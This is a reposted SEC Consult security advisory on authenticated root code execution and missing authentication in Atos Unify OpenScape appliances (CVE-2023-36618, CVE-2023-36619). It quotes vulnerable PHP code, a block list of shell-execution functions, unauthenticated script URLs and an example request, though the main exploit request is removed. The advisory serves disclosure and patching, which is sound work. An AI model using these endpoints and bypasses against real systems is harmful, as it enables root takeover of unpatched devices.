Atos Unify OpenScape Code Execution / Missing Authentication

2023.09.20
Risk: High
Local: No
Remote: Yes
CWE: N/A

SEC Consult Vulnerability Lab Security Advisory < 20230918-0 > ======================================================================= title: Authenticated Remote Code Execution and Missing Authentication product: Atos Unify OpenScape Session Border Controller Atos Unify OpenScape Branch Atos Unify OpenScape BCF vulnerable version: OpenScape SBC before V10 R3.3.0 OpenScape Branch V10 before V10 R3.3.0 OpenScape BCF V10 before V10 R10.10.0 fixed version: OpenScape SBC V10 >=R3.3.0 OpenScape Branch V10 >=R3.3.0 OpenScape BCF V10 >=R10.10.0 CVE number: CVE-2023-36618, CVE-2023-36619 impact: critical homepage: https://unify.com found: 2023-04-21 by: Armin Weihbold (Office Linz) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Unify is is the Atos brand for communication and collaboration solutions Unify is the newest member of the Atos family, combining Atos’ knowledge and reputation in the IT services market with Unify’s expertise in unified communications and collaboration to provide customers with seamless services solutions for their entire digital portfolio. Within Atos, Unify continues to deliver a unique integrated proposition for unified communications and real time capabilities." Source: https://unify.com/en/expert/unify Business recommendation: ------------------------ SEC Consult recommends users of the affected products to install the latest update. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues. Vulnerability overview/description: ----------------------------------- 1) Authenticated Remote Code Execution (CVE-2023-36618) The API of the administrative web application insufficiently validates the input of authenticated users at the server. This leads to the possibility of executing arbitrary PHP functions (with some defined exceptions) and subsequently operating system level commands with root privileges. A low-privileged ReadOnly role is sufficient to exploit this security issue. 2) Missing Authentication (CVE-2023-36619) A number of scripts that are used to administer the appliance can be accessed or executed unauthenticated via the web server. Proof of concept: ----------------- 1) Authenticated Remote Code Execution (CVE-2023-36618) A large part of the application is built according to the scheme in the following listing. Some functions are defined and at the end the function `callMainFunction` is called, which takes care of processing POST data. ----------------------------------------------------------------------- <?php require_once '../core/CoreAPI.php'; function tempSessionAcdQueue($args = null) { [...SNIP...] } function getAcdQueueInfo($args = null) { [...SNIP...] } // calls function which will handle the Post requests callMainFunction(); ----------------------------------------------------------------------- `callMainFunction` in `/srv/www/htdocs/core/CoreAPI.php` essentially calls arbitrary functions with arbitrary arguments passed via POST parameters, and only tests beforehand whether or not they are in a list of forbidden functions (`cfgUtilCheckMethod`) and whether the user is authenticated: ----------------------------------------------------------------------- <?php [...] require_once 'cfgUtil.php'; [...] function callMainFunction () { $func = ( isset($_POST['method']) ) ? trim(cfgUtilGetPostData('method')) : null ; if (cfgUtilCheckMethod($func)) return; $args = ( isset($_POST['args']) ) ? cfgUtilSanitizePostArgs(json_decode($_POST['args'], true)) : null ; [...] if ( function_exists($func) && is_callable($func) ) { @session_start(); if (!isset($_SESSION["Authenticated"]) || ($_SESSION["Authenticated"] == false)) { session_destroy(); [...] } else { if ( $args != null ) $func($args); else $func(); } } } ----------------------------------------------------------------------- Then `cfgUtilCheckMethod` in `/srv/www/htdocs/core/cfgUtil.php` checks for a number of dangerous functions which should get blocked: ----------------------------------------------------------------------- function cfgUtilCheckMethod($func) { if (isset($func)) { // block methods $methods = array( [...] “eval”, “exec”, [...] “shell_exec”, [...] “system”, ); if (in_array($func, $methods)) return 1; } return 0; } ----------------------------------------------------------------------- What has been forgotten here are the functions provided by cfgUtil.php itself like `cfgUtilExecute`, `cfgUtilShellExec` and especially `cfgUtilShellExecSudo`, `cfgUtilSetPermExecSudo` and `cfgUtilExecSudo`. These functions allow an authenticated attacker (a ReadOnly role is sufficient for this) to execute arbitrary commands as root user on the appliance. ----------------------------------------------------------------------- function cfgUtilShellExecSudo( $command, $escape = TRUE, $supressLog = FALSE ) { $newcommand=$command; if ( $escape == TRUE ) $newcommand = escapeshellcmd($command); if ( ($newcommand != $command) and ($supressLog != TRUE ) ) osb_log(E_WARNING, debug_backtrace()[1][‘function’]. “(): The command: “ . $command . “ is not equivalent to: “ . $newcommand); $retvalue = trim(shell_exec(‘/usr/bin/sudo ‘ . $newcommand )); return $retvalue; } ----------------------------------------------------------------------- To demonstrate the RCE vulnerability, it is sufficient to send a request like the following to any endpoint that calls `callMainFunction` like in: [PoC URL removed] ----------------------------------------------------------------------- [PoC POST request removed] ----------------------------------------------------------------------- The server response indicates a successful request: ----------------------------------------------------------------------- HTTP/1.1 200 OK Date: Fri, 21 Apr 2023 10:22:42 GMT Server: Apache X-Frame-Options: SAMEORIGIN Expires: 0 Cache-Control: max-age=0, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------- If we now list the contents of the `/tmp` directory on the server, we see that the file `root_from_ro` was created by the root user: ----------------------------------------------------------------------- user@server:/tmp> ls -al [...] -rw-r--r-- 1 root root 0 Apr 21 10:22 root_from_ro ----------------------------------------------------------------------- 2) Missing Authentication (CVE-2023-36619) The following scripts, which are executable without authentication and do not expect command line arguments, could be identified. For this, heuristic methods based on the source code were used. In particular, scripts were searched that do not use any of the normally used authentication methods and do not only consist of classes. - https://hostname/core/configuringInBackground.php - https://hostname/core/downloadProfiles.php - https://hostname/core/hello_world.php - https://hostname/core/scripts/applyZooServerData.php - https://hostname/core/scripts/cfgGenUpdateSSPStatusTable.php - https://hostname/core/scripts/checkcardsDbHw.php - https://hostname/core/scripts/config1.php - https://hostname/core/scripts/recover.php - https://hostname/core/scripts/start.php - https://hostname/core/scripts/startPre.php - https://hostname/core/shutdown.php - https://hostname/data/sipLbInfo.php - https://hostname/data/turnInfo.php The following demonstrates an execution. The following request is sent to the appliance: ----------------------------------------------------------------------- GET /core/scripts/start.php HTTP/1.1 Host: hostname Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://hostname/acd.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ----------------------------------------------------------------------- In the successful response, the time is highlighted to compare with the PHP log: ----------------------------------------------------------------------- HTTP/1.1 200 OK Date: Thu, 20 Apr 2023 11:47:34 GMT Server: Apache X-Frame-Options: SAMEORIGIN Cache-Control: max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------- In the PHP log you will now find the following output, which shows that this script is used for configuring and starting the appliance and was actually executed: ----------------------------------------------------------------------- 2023-04-20T11:47:34+00:00 [notice] PHP Notice: --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 33 [...] ---------- Running start.php ---------- in /srv/www/htdocs/core/scripts/start.php on line 34 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 35 [...] Loading XML in /srv/www/htdocs/core/scripts/start.php on line 61 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 599 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 600 [...] ---------- Running start() OSS ----------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 601 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 602 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 603 [...] Starting start() OSS in /srv/www/htdocs/core/ConfigMgrOSS.php on line 607 [...] Active partition: 4 /dev/sda6 in /srv/www/htdocs/core/ConfigMgrOSS.php on line 613 [...] Calling hookStart start in /srv/www/htdocs/core/ConfigMgrOSS.php on line 622 [...] Configuring Alarm in /srv/www/htdocs/core/ConfigMgrOSS.php on line 626 [...] Configuring Node for Redundancy in /srv/www/htdocs/core/ConfigMgrOSS.php on line 630 [...] Red. Selection cleared (standlone)... in /srv/www/htdocs/core/NetServicesData.php on line 162 [...] Redundant Node 1 removed in /srv/www/htdocs/core/NetServicesData.php on line 163 [...] Redundant Node 2 removed in /srv/www/htdocs/core/NetServicesData.php on line 164 [...] Configuring Watchdog in /srv/www/htdocs/core/ConfigMgrOSS.php on line 640 [...] Configuring irqBalance in /srv/www/htdocs/core/ConfigMgrOSS.php on line 644 [...] Configuring OpenVmWare in /srv/www/htdocs/core/ConfigMgrOSS.php on line 648 [...] Configuring RADIUS in /srv/www/htdocs/core/ConfigMgrOSS.php on line 662 [...] Configuring SSH Public Keys in /srv/www/htdocs/core/ConfigMgrOSS.php on line 666 [...] Configuring IP Aliases in /srv/www/htdocs/core/ConfigMgrOSS.php on line 671 [...] Configuring Traffic Shaping in /srv/www/htdocs/core/ConfigMgrOSS.php on line 679 [...] Configuring Zookeeper Client in /srv/www/htdocs/core/ConfigMgrOSS.php on line 688 [...] Configuring RTP Proxy in /srv/www/htdocs/core/ConfigMgrOSS.php on line 693 [...] Configuring SSM in /srv/www/htdocs/core/ConfigMgrOSS.php on line 697 [...] Configuring SipServer in /srv/www/htdocs/core/ConfigMgrOSS.php on line 705 [...] UA WhiteList: in /srv/www/htdocs/core/cfgSipServerSP.php on line 2896 [...] simplexml_load_file( /osb/var/mngmt/xml/running/config_20_20230223T115247.xml ) in /srv/www/htdocs/core/PersistenceMgr.php on line 520 [...] Circuit feature enabled ? 0 in /srv/www/htdocs/core/AnsibleData.php on line 42 [...] New xml cache file created daec97748bc1828d8514ee16e200a834 in /srv/www/htdocs/core/PersistenceMgr.php on line 1883 [...] Locking SSP Register in /srv/www/htdocs/core/cfgSipServerOSS.php on line 2682 [...] SipServer configuration changed. in /srv/www/htdocs/core/cfgSipServerSP.php on line 2595 [...] Configuring Media Server in /srv/www/htdocs/core/ConfigMgrOSS.php on line 726 [...] Configuring IPSec in /srv/www/htdocs/core/ConfigMgrOSS.php on line 734 [...] Configuring VPN in /srv/www/htdocs/core/ConfigMgrOSS.php on line 741 [...] Configuring Certificate Management in /srv/www/htdocs/core/ConfigMgrOSS.php on line 745 [...] Configuring Web Secure Management in /srv/www/htdocs/core/ConfigMgrOSS.php on line 749 [...] Configuring TURN Server in /srv/www/htdocs/core/ConfigMgrOSS.php on line 754 [...] Configuring Sip Loadbalancer in /srv/www/htdocs/core/ConfigMgrOSS.php on line 759 [...] Configuring GTC Loader in /srv/www/htdocs/core/ConfigMgrOSS.php on line 764 [...] Configuring GTC Node app in /srv/www/htdocs/core/ConfigMgrOSS.php on line 769 [...] Configuring Serviceability in /srv/www/htdocs/core/ConfigMgrOSS.php on line 774 [...] Configuring QoS Send Trap in /srv/www/htdocs/core/ConfigMgrOSS.php on line 779 [...] Configuring Push Notification in /srv/www/htdocs/core/ConfigMgrOSS.php on line 784 [...] Configuring Branding in /srv/www/htdocs/core/ConfigMgrOSS.php on line 797 [...] Calling hookStart stop in /srv/www/htdocs/core/ConfigMgrOSS.php on line 800 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 838 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 839 [...] ---------- Done start() OSS ----------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 840 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 841 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 842 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 77 [...] ---------- Done start.php (0) --------- in /srv/www/htdocs/core/scripts/start.php on line 78 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 79 [...] ----------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * OpenScape Session Border Controller Firmware Version V10 R3.01.03 According to vendor, versions before V10 R3.3.0 are affected as well. The vendor confirmed that the following other products are vulnerable as well: * OpenScape Branch version before V10 R3.3.0 * OpenScape BCF version before V10 R10.10.0 Vendor contact timeline: ------------------------ 2023-06-12: Contacting vendor through email obso@atos.net; sending encrypted advisory (S/MIME) 2023-06-15: Call with vendor, discussing release and timeline. Requesting CVE numbers through MITRE. 2023-06-28: Vendor provides update regarding timeline / patch availability and affected products. Sending received CVE numbers to vendor. 2023-06-29: Vendor provides draft of their security advisory including planned release dates of patched versions. Giving feedback. Receiving download URL from vendor. 2023-07-04: Receiving updated version of vendor security advisory, providing some more feedback/minor fixes. 2023-07-06: Vendor releases security advisory and patches. 2023-09-18: Coordinated release of advisory Solution: --------- The vendor provides a patch for the affected products: * OpenScape Session Border Controller Firmware Version V10 >=R3.3.0 * OpenScape Branch version V10 >=R3.3.0 * OpenScape BCF version V10 >=R10.10.0 The patches can be obtained for registered customers through the vendor's download server: https://sws.unify.com/SWSIntranet/SWSIntra.aspx or via https://unify.com/en/partner/partnerportal https://unify.com/en/support/kunden-support-portal Furthermore, the vendor has also released a security advisory which is available here: https://networks.unify.com/security/advisories/OBSO-2307-01.pdf Workaround: ----------- Limit access to the administrative web application to authorized personnel on the network level. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF A. Weihbold / @2023


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top